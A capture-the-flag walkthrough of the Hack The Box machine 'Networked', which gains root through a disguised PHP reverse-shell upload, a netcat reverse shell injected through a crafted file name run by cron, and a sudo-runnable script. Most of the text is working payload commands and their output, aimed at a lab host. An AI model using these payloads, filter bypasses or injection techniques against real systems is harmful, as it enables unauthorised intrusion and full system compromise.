Networked is a machine hosted in Hack The Box.
Step 1: obtaining a shell
$ msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.13.239 LPORT=1337 -f raw > image.php.gif
Make sure to replace the LHOST IP with yours.
If the file is uploaded unmodified from msfvenom, a basic filter will catch it and prevent it from being uploaded.
To get around this, open this file with any text editor and append GIF89a;
to the beginning of the file, or use the following one-liner:
echo "$(echo 'GIF89a;' | cat - image.php)" > image.php.gif
Upload it on http://10.10.10.146/upload.php
Open a Metasploit console by running msfconsole
, and run the following commands one by one, again making sure to replace the IP with yours.
use multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 10.10.13.239
set lport 1337
set ExitOnSession false
exploit -j
Now, browse to http://10.10.10.146/photos.php
The exploit should launch automatically when trying to load the uploaded “image”.
In your Metasploit console, you will get a message like this:
Meterpreter session 1 opened (10.10.13.239:1337 -> 10.10.10.146:55240) at 2019-09-18 12:40:31 +0200
Run sessions 1
in your Metasploit console, and you will now have a shell to the victim machine.
Step 2: privilege escalation (user)
We only have a limited shell for now.
meterpreter > shell
Process 4856 created.
Channel 1 created.
/bin/bash -i
bash-4.2$ whoami
whoami
apache
bash-4.2$ ls /home
ls /home
guly
bash-4.2$ ls /home/guly
ls /home/guly
check_attack.php
crontab.guly
user.txt
bash-4.2$ cat /home/guly/user.txt
cat /home/guly/user.txt
cat: /home/guly/user.txt: Permission denied
Let’s get the flag for guly
user. There is an interesting file: check_attack.php
.
$ cat /home/guly/crontab.guly
*/3 * * * * php /home/guly/check_attack.php
This file is ran every three minutes by cron. It probably has vulnerabilities.
<?php
require '/var/www/html/lib.php';
$path = '/var/www/html/uploads/';
$logpath = '/tmp/attack.log';
$to = 'guly';
$msg= '';
$headers = "X-Mailer: check_attack.php\r\n";
$files = array();
$files = preg_grep('/^([^.])/', scandir($path));
foreach ($files as $key => $value) {
$msg='';
if ($value == 'index.html') {
continue;
}
#echo "-------------\n";
#print "check: $value\n";
list ($name,$ext) = getnameCheck($value);
$check = check_ip($name,$value);
if (!($check[0])) {
echo "attack!\n";
# todo: attach file
file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX);
exec("rm -f $logpath");
exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
echo "rm -f $path$value\n";
mail($to, $msg, $msg, $headers, "-F$value");
}
}
?>
This PHP file executes a lot of dangerous commands without many security measures.
Open a new shell and run:
$ nc -lvp 9876
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::9876
Ncat: Listening on 0.0.0.0:9876
Now, run this in the Meterpreter session.
$ touch '; nc 10.10.13.239 9876 -c bash'
This command will create an empty file with the title ; nc 10.10.13.239 9876 -c bash
which will trigger a reverse shell with netcat. Since the crontab entry is executed every three minutes, it might take a while for the host to connect to our netcat session. Once it does, the Netcat shell will read:
Ncat: Connection from 10.10.10.146.
Ncat: Connection from 10.10.10.146:47706.
We can now cat
the flag.
python -c 'import pty; pty.spawn("/bin/bash")'
[guly@networked ~]$ cat user.txt
<USER FLAG>
Step 3: Root
Let’s enumerate. Download LinEnum to your local machine, and serve it over HTTP.
$ wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
--2019-09-19 09:13:04-- https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.132.133
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.132.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 45656 (45K) [text/plain]
Saving to: ‘LinEnum.sh’
LinEnum.sh 100%[======>] 44.59K --.-KB/s in 0.06s
2019-09-19 09:13:05 (787 KB/s) - ‘LinEnum.sh’ saved [45656/45656]
$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
On the victim machine, download the file and run it.
$ curl 10.10.13.239:8000/LinEnum.sh > le.sh
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:--100 45656 100 45656 0 0 318k 0 --:--:-- --:--:-- --:--:-- 320k
$ sh le.sh
It will output a wall of text with all the findings, and there’s an interesting file in the results:
[...]
[+] We can sudo without supplying a password!
Matching Defaults entries for guly on networked:
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY", secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin
User guly may run the following commands on networked:
(root) NOPASSWD: /usr/local/sbin/changename.sh
[+] Possible sudo pwnage!
/usr/local/sbin/changename.sh
[...]
There is an interesting file at /usr/local/sbin/changename.sh
with the following contents:
#!/bin/bash -p
cat > /etc/sysconfig/network-scripts/ifcfg-guly << EoF
DEVICE=guly0
ONBOOT=no
NM_CONTROLLED=no
EoF
regexp="^[a-zA-Z0-9_\ /-]+$"
for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do
echo "interface $var:"
read x
while [[ ! $x =~ $regexp ]]; do
echo "wrong input, try again"
echo "interface $var:"
read x
done
echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly
done
/sbin/ifup guly0
If we try to run it, we get:
$ /usr/local/sbin/changename.sh
/usr/local/sbin/changename.sh: line 2: /etc/sysconfig/network-scripts/ifcfg-guly: Permission denied
It is obvious this file can be sudo-ed without a password. This often represents a security vulnerability. There’s a check in place in the form of a regular expression that will restrict the input it accepts. For example, it doesn’t accept ;
or |
, but we can use \
. To get root, simply enter:
\blah sudo su
when asked for input. For the rest of fields it is possible to simply type a
repeatedly until the script finishes and we get a root shell.
$ sudo /usr/local/sbin/changename.sh
interface NAME:
/blah sudo su
/blah sudo su
interface PROXY_METHOD:
a
a
interface BROWSER_ONLY:
a
a
interface BOOTPROTO:
a
a
[root@networked network-scripts]# cat /root/root.txt
<ROOT FLAG>